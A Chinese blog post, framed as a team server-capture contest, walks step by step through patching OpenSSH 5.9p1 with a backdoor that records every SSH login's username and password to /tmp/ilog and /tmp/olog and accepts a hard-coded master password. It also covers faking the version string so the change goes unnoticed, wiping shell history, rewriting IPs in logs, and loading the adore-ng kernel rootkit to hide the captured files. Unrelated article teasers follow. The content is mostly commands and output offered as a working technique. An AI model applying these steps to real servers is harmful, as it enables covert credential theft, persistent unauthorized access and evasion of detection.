当前位置: 首页 > news >正文

擂台赛-安全攻防之使用openssh后门获取root密码实战

前言

大家好,我是沐风晓月,我们开始组队学习了,介绍下我们的情况:

这几天跟队员 迎月,虹月,心月,古月打擂台,我和心月一组,相互攻占对方服务器。 终于在今早凌晨三点拿下对方服务器的权限。

接下来我们第一想做的就是如何维持这个权限,还要不被对方发现。

关于维持权限,我们第一时间想到的就是在对方服务器留下一个后门,搜索了很多资料,发现这个openssh的后门正合我意。

于是开干。。。

文章目录

  • 前言
  • 一. 配置实验环境
  • 二. 对openssh-5.9p1 打后门漏洞补丁
    • 2.1 解压
    • 2.2 打补丁
    • 2.3 修改后门密码和记录位置
    • 2.4 安装打了后门补丁的sshd服务
    • 2.5 启动并查看版本号
  • 三. 测试
    • 3.1 测试能否记录用户名和密码
    • 3.2 修改了密码还能否记录
    • 3.3 .能否记录普通用户密码
    • 3.4 测试 后门密码是否可以登录
    • 3.5 清理本次登录的脚印
  • 四. 安装adore-ng
    • 4.1 安装的过程
    • 4.2 隐藏文件
    • 4.3 测试文件是否还能被找到
  • 总结

在这里插入图片描述

一. 配置实验环境

为了确保修改对方openssh后,还能不被古月她们发现,我们先检查了对方服务器的ssh版本和gcc版本

  1. 检查ssh 版本
[root@mufeng ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
  1. 检查gcc是否已经安装
 [root@mufeng ~]# yum install gcc gcc-c++ -y

然后开始上环我们需要的包,安装完成后,再把包全部删掉即可:

  1. 上传我们需要的包

上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/software目录

[root@mufeng ~]# mkdir /software
[root@mufeng ~]# cd !$
cd /software
[root@mufeng software]# yum install lr* -y &>/dev/null && echo "ok"
ok[root@mufeng software]# rz   ## 上传软件包
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        sshpass-1.06.tar.gz

上传完成包之后,开始对打补丁并进行安装:

二. 对openssh-5.9p1 打后门漏洞补丁

2.1 解压

[root@mufeng software]# tar xf openssh-5.9p1.tar.gz 
You have mail in /var/spool/mail/root
[root@mufeng software]# tar xf 0x06-openssh-5.9p1.patch.tar.gz 
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1        openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        openssh-5.9p1.patch  sshpass-1.06.tar.gz
[root@mufeng software]# 

2.2 打补丁

[root@mufeng software]# cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1/
[root@mufeng software]# cd !$
cd openssh-5.9p1/
[root@mufeng openssh-5.9p1]# patch < sshbd5.9p1.diff 
patching file auth.c  # 认证
patching file auth-pam.c # 认证
patching file auth-passwd.c # 认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c  # 关于ssh 服务器
patching file sshconnect2.c  ## ssh 连接
patching file sshlogin.c  ## 关于登录,记录root密码
patching file version.h  ## 关于版本

2.3 修改后门密码和记录位置

[root@mufeng openssh-5.9p1]# tail -6 includes.h 
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog"  ## 记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" #  记录本机登录其他服务器用户名和密码
#define SECRETPW "mufeng123" # 后门密码
#endif /* INCLUDES_H */
[root@mufeng openssh-5.9p1]# 

修改版本号(修改的和原来一致)

[root@mufeng openssh-5.9p1]# cat version.h 
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */#define SSH_VERSION	"OpenSSH_5.3"#define SSH_PORTABLE	"p1"
#define SSH_RELEASE	SSH_VERSION SSH_PORTABLE
[root@mufeng openssh-5.9p1]# 

在这里插入图片描述

2.4 安装打了后门补丁的sshd服务

[root@mufeng openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel >/root/instal.txt && echo "ok"

开始编译安装

[root@mufeng openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5[root@mufeng openssh-5.9p1]# make && make install

2.5 启动并查看版本号

[root@mufeng openssh-5.9p1]# service sshd restart
停止 sshd:                                                [确定]
正在启动 sshd:                                            [确定]
[root@mufeng openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

这里一定要设置的与ssh原来的版本号一致,要不然就暴露了。

三. 测试

测试主要基于以下几点:

  1. 测试是否可以记录对方登录服务器的账号和密码
  2. 测试在用户修改密码后,还能继续记录账号和密码
  3. 测试是否可以记录普通用户的密码
  4. 测试是否可以使用后门漏洞密码登录系统

3.1 测试能否记录用户名和密码

root@mufeng tmp]# ssh 192.168.1.43
The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
ECDSA key fingerprint is bf:a1:c7:0d:6c:4b:e4:19:f5:b8:16:e3:f8:4a:e5:5c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.43' (ECDSA) to the list of known hosts.
root@192.168.1.43's password: 
Last login: Fri Mar 17 14:40:10 2023 from 192.168.1.4
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# ls
ilog            olog            
##查看是否可以记录密码
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
## 包含用户名+密码+IP
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
[root@mufeng tmp]# 

以上证明了,可以记录对方的账号和密码

3.2 修改了密码还能否记录

测试过程代码:

[root@mufeng tmp]# echo 1234567890 |passwd --stdin root
更改用户 root 的密码 。
passwd: 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh 192.168.1.43 
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:03:29 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
[root@mufeng tmp]# 

以上证明了即使对方修改了密码,也一样可以记录。

3.3 .能否记录普通用户密码

[root@mufeng tmp]# useradd mufeng
[root@mufeng tmp]# echo 123456 |passwd --stdin mufeng
更改用户 mufeng 的密码 。
passwd: 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh mufeng@192.168.1.43
mufeng@192.168.1.43's password: 
[mufeng@mufeng ~]$ whoami
mufeng
[mufeng@mufeng ~]$ exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
user:password --> mufeng:123456
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]# 

以上代码成功的记录了,对方使用普通用户登录时的用户名和密码

3.4 测试 后门密码是否可以登录

[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]# ssh root@192.168.1.43
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:05:42 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
user:password@host --> root:mufeng123@192.168.1.43
[root@mufeng tmp]# 

在这里插入图片描述

3.5 清理本次登录的脚印

一定要清除掉自己登录的IP信息

[root@mufeng ~]# export HISTFILE=/dev/null
You have mail in /var/spool/mail/root
[root@mufeng ~]# export HISTSIZE=
[root@mufeng ~]# export HISTFILESIZE=
[root@mufeng ~]# echo >/root/.bash_history
# 这种清除方式,要确保一开始没有历史记录,如果有历史记录,可以用sed的方式替换
[root@mufeng ~]# sed -i 's/192.168.1.43/127.0.0.1/g' /root/.bash_history
## 其他访问日志也可以用用sed替换ip , 瞒天过海

接下来要把生成的文件进行隐藏,本次隐藏,我们沐风晓月组采用的是adore-ng, 这个工具是以模块的方式运行的,就类似于你电脑上的声卡,只要隐藏的好很难被发现。

这里我只写对两个文件/tmp/olog/tmp/ilog进行隐藏,其他的文件和目录也是同样的方法。

四. 安装adore-ng

4.1 安装的过程

  • 安装依赖包
[root@mufeng ~]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm 
warning: /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
Preparing...                ########################################### [100%]1:kernel-devel           ########################################### [100%]
  • 上传需要adore-ng
[root@mufeng ~]# rz解压
[root@mufeng ~]# unzip adore-ng-master.zip [root@mufeng ~]# cd adore-ng-master
[root@mufeng adore-ng-master]# ls
adore-ng.c  ava.c           libinvisible.h  Makefile
adore-ng.h  libinvisible.c  LICENSE         README.md
  • 开始安装
安装
[root@mufeng adore-ng-master]# make 
加载模块
[root@mufeng adore-ng-master]# insmod adore-ng.ko
[root@mufeng adore-ng-master]# 
  • 查看命令是否安装
  [root@mufeng adore-ng-master]# ./ava hUsage: ./ava {h,u,r,R,i,v,U} [file or PID]I print info (secret UID etc)h hide file  # 隐藏文件u unhide file  ## 不隐藏r execute as root  ## 像root一样去运行R remove PID foreverU uninstall adorei make PID invisible  ## 隐藏进程v make PID visible

4.2 隐藏文件

需要隐藏 ilog, olog

[root@mufeng adore-ng-master]# ./ava h /tmp/ilog  
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/ilog' is now hidden.
[root@mufeng adore-ng-master]# [root@mufeng adore-ng-master]# ./ava h /tmp/olog 
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/olog' is now hidden.

查看是否隐藏成功:

在这里插入图片描述

4.3 测试文件是否还能被找到

  • 使用find查找
[root@mufeng tmp]# find ./ -mtime -1
./
./orbit-root
./orbit-root/linc-f46-0-4088aa9a676df
./gconfd-root
./gconfd-root/saved_state_db283d80792451243e0a59a40000002b

发现无法找到文件了

但当我们直接使用文件名查看内容的时候,还是可以查看的,说明文件并不是被删除了,而是被隐藏

在这里插入图片描述

总结

虹月组目前还未发现他们的服务已经被植入后门漏洞,今天心月提到可以再加上一个功能:邮件发送功能,实现当虹月组登录服务器,就能收到信息。

听起来是个好主意,下次补上。

好了以上是本文的全部内容,下次再见吧。

💕 好啦,这就是今天要分享给大家的全部内容了,我们下期再见!
💕 本文由沐风晓月原创,首发于CSDN博客, 博客主页:mufeng.blog.csdn.net
💕 每一次学习都很枯燥,单调,孤独,甚至看不到未来,每一次遇到问题都让人疑惑,焦虑,怀疑,甚至想要放弃。 但坚定的走下来,会收获很多。收获的不单单是技术的成长还有一颗强大的心。
💕 喜欢的话记得点赞收藏哦

相关文章:

擂台赛-安全攻防之使用openssh后门获取root密码实战

前言 大家好&#xff0c;我是沐风晓月&#xff0c;我们开始组队学习了&#xff0c;介绍下我们的情况&#xff1a; 这几天跟队员 迎月&#xff0c;虹月&#xff0c;心月&#xff0c;古月打擂台&#xff0c;我和心月一组&#xff0c;相互攻占对方服务器。 终于在今早凌晨三点拿…...

关于React入门基础从哪学起?

文章目录前言一、React简介1. React是什么2. react 与 vue 最大的区别就是:3. React特点4. React介绍描述5. React高效的原因6.React强大之处二、React基础格式1.什么是虚拟dom&#xff1f;2.为什么要创建虚拟dom&#xff1f;三、React也分为俩种创建方式1. 使用js的方式来创建…...

python玄阶斗技--tkinter库

目录 一.tkinter库介绍 二.功能实现 1.窗口创建 2.Button 按钮 3.Entry 文本输入域 4.text 文本框 5.Listbox 多选下拉框 6.Radiobutton 多选项按钮 7.Checkbutton 多选按钮 8.Scale 滑块(拉动条) 9.Scroolbar 滚动条 10.Menu 菜单栏 11. messagebox 消息框 12…...

【MySQL】MySQL的介绍MySQL数据库及MySQL表的基本操作

文章目录数据库的介绍什么是数据库数据库分类MySQL的介绍数据库的基本操作数据库的操作创建数据库查看所有数据库选中指定的数据库删除数据库常用数据类型数值类型字符串类型日期类型表的操作创建表查看指定数据库下的所有表查看指定表的结构删除表小练习数据库的介绍 什么是数…...

【每日随笔】社会上层与中层的博弈 ( 技术无关、没事别点进来看 | 社会上层 | 上层与中层的保护层 | 推荐学习的知识 )

文章目录一、社会上层二、上层与中层的保护层三、推荐学习的知识一、社会上层 社会上层 掌握着 生产资料 和 权利 ; 社会中层 是 小企业主 和 中产打工人 ; 上层 名额有限 生产资料所有者 : 垄断巨头 , 独角兽 , 大型企业主 , 大型企业股东 , 数量有限 ;权利所有者 : 高级别的…...

Cookie 和 Session的区别

文章目录时间&#xff1a;2023年3月23日第一&#xff1a;什么是 Cookie 和 Session ?什么是 Cookie什么是 Session第二&#xff1a;Cookie 和 Session 有什么不同&#xff1f;第三&#xff1a;为什么需要 Cookie 和 Session&#xff0c;他们有什么关联&#xff1f;第四&#x…...

leetcode使用vscode调试C++代码

leetcode使用vscode调试C代码 这里记录一下大体思路吧&#xff0c;关于细节配置放上别的博主的链接&#xff0c;他们讲的更好 vscode只是编辑器&#xff0c;相当于记事本&#xff0c;需要下载minGW提供的编译器和调试器 官方介绍&#xff1a; C/C拓展不包括编译器或调试器&…...

树莓派Linux源码配置,树莓派Linux内核编译,树莓派Linux内核更换

目录 一 树莓派Linux的源码配置 ① 内核源码下载说明 ② 三种方法配置源码 二 树莓派Linux内核编译 ① 内核编译 ② 编译时报错及解决方案&#xff08;亲测&#xff09; 三 更换树莓派Linux内核 操作步骤说明 ● dmesg报错及解决方案&#xff08;亲测&#xff0…...

【C语言】深度讲解 atoi函数 使用方法与模拟实现

文章目录atoi使用方法&#xff1a;atoi模拟实现atoi 功能&#xff1a;转化字符串到整数 头文件&#xff1a; #include <stdlib.h> int atoi (const char * str); 参数 str&#xff1a;要转换为整数的字符串 返回值 如果转换成功&#xff0c;函数将转换后的整数作为int值…...

HTTPS的加密流程

1、概念HTTPS 是一个应用层协议&#xff0c;是在 HTTP 协议的基础上引入了一个加密层。HTTP 协议内容都是按照文本的方式明文传输的&#xff0c;这就导致在传输过程中出现一些被篡改的情况。HTTP协议传输的数据都是未加密的&#xff0c;也就是明文的&#xff0c;因此使用HTTP协…...

STM32配置读取BMP280气压传感器数据

STM32配置读取BMP280气压传感器数据 BMP280是在BMP180基础上增强的绝对气压传感器&#xff0c;在飞控领域的高度识别方面应用也比较多。 BMP280和BMP180的区别&#xff1a; 市面上也有一些模块&#xff1a; 这里介绍STM32芯片和BMP280的连接和数据读取。 电路连接 BMP28…...

【Linux】 基础IO——文件(中)

文章目录1. 文件描述符为什么从3开始使用&#xff1f;2. 文件描述符本质理解3. 如何理解Linux下的一切皆文件&#xff1f;4. FILE是什么&#xff0c;谁提供&#xff1f;和内核的struct有关系么&#xff1f;证明struct FILE结构体中存在文件描述符fd5. 重定向的本质输出重定向输…...

蓝桥杯刷题冲刺 | 倒计时13天

作者&#xff1a;指针不指南吗 专栏&#xff1a;蓝桥杯倒计时冲刺 &#x1f43e;马上就要蓝桥杯了&#xff0c;最后的这几天尤为重要&#xff0c;不可懈怠哦&#x1f43e; 文章目录1.母牛的故事2.魔板1.母牛的故事 题目 链接&#xff1a; [递归]母牛的故事 - C语言网 (dotcpp.c…...

MIPI D-PHYv2.5笔记(5) -- 不同的PHY配置方式

声明&#xff1a;作者是做嵌入式软件开发的&#xff0c;并非专业的硬件设计人员&#xff0c;笔记内容根据自己的经验和对协议的理解输出&#xff0c;肯定存在有些理解和翻译不到位的地方&#xff0c;有疑问请参考原始规范看 规范5.7章节列举了一些常见的PHY配置&#xff0c;但实…...

【周末闲谈】文心一言,模仿还是超越?

个人主页&#xff1a;【&#x1f60a;个人主页】 系列专栏&#xff1a;【❤️周末闲谈】 周末闲谈 ✨第一周 二进制VS三进制 文章目录周末闲谈前言一、背景环境二、文心一言&#xff1f;(_)?三、文心一言的优势&#xff1f;&#x1f617;&#x1f617;&#x1f617;四、文心一…...

《一“企”谈》 | 「佛山市政」:携手企企通,让采购业务数智化

近日&#xff0c;国家施工总承包壹级企业「佛山市市政建设工程有限公司」&#xff08;以下简称“佛山市政”&#xff09;正积极布局数字化建设工作&#xff0c;基于采购业务数智化&#xff0c;携手企企通打造了SaaS采购云平台。 01、岭南建筑强企 匠心铸造精品 …...

Spark运行架构

目录 1 运行架构 2 核心组件 2.1 Driver 2.2 Executor 2.3 Master & Worker 2.4 ApplicationMaster 3 核心概念 3.1 Executor 与 Core 3.2 并行度&#xff08; Parallelism&#xff09; 3.3 ​​​​​​​有向无环图&#xff08; DAG&#xff09; 4 提交流程 …...

基于卷积神经网络CNN的水果分类预测,卷积神经网络水果等级识别

目录 背影 卷积神经网络CNN的原理 卷积神经网络CNN的定义 卷积神经网络CNN的神经元 卷积神经网络CNN的激活函数 卷积神经网络CNN的传递函数 卷积神经网络CNN水果分类预测 基本结构 主要参数 MATALB代码 结果图 展望 背影 现在生活&#xff0c;为节能减排&#xff0c;减少电能…...

Spring Boot 框架总结

Spring Boot 框架总结 1. springboot的引言 Spring Boot是由Pivotal团队提供的全新框架&#xff0c;其设计目的是用来简化Spring应用的 初始搭建以及开发过程。该框架使用了特定的方式来进行配置&#xff0c;从而使开发人员不 再需要定义样板化的配置。通过这种方式&#xff0…...

【数据结构】第五站:带头双向循环链表

目录 一、链表的八种结构 二、带头双向循环链表的实现 1.链表的定义 2.链表的接口定义 3.接口的具体实现 三、带头双向循环链表的完整代码 四、顺序表和链表的区别 一、链表的八种结构 我们已经知道链表可以有以下三种分法 而这三种结构又可以排列组合&#xff0c;形成八…...

【Oracle APEX开发小技巧12】

有如下需求&#xff1a; 有一个问题反馈页面&#xff0c;要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据&#xff0c;方便管理员及时处理反馈。 我的方法&#xff1a;直接将逻辑写在SQL中&#xff0c;这样可以直接在页面展示 完整代码&#xff1a; SELECTSF.FE…...

Unity3D中Gfx.WaitForPresent优化方案

前言 在Unity中&#xff0c;Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染&#xff08;即CPU被阻塞&#xff09;&#xff0c;这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案&#xff1a; 对惹&#xff0c;这里有一个游戏开发交流小组&…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

【网络安全产品大调研系列】2. 体验漏洞扫描

前言 2023 年漏洞扫描服务市场规模预计为 3.06&#xff08;十亿美元&#xff09;。漏洞扫描服务市场行业预计将从 2024 年的 3.48&#xff08;十亿美元&#xff09;增长到 2032 年的 9.54&#xff08;十亿美元&#xff09;。预测期内漏洞扫描服务市场 CAGR&#xff08;增长率&…...

Unit 1 深度强化学习简介

Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库&#xff0c;例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体&#xff0c;比如 SnowballFight、Huggy the Do…...

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...

PostgreSQL——环境搭建

一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在&#xff0…...

【Linux】自动化构建-Make/Makefile

前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具&#xff1a;make/makfile 1.背景 在一个工程中源文件不计其数&#xff0c;其按类型、功能、模块分别放在若干个目录中&#xff0c;mak…...

嵌入式常见 CPU 架构

架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集&#xff0c;单周期执行&#xff1b;低功耗、CIP 独立外设&#xff1b;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel&#xff08;原始…...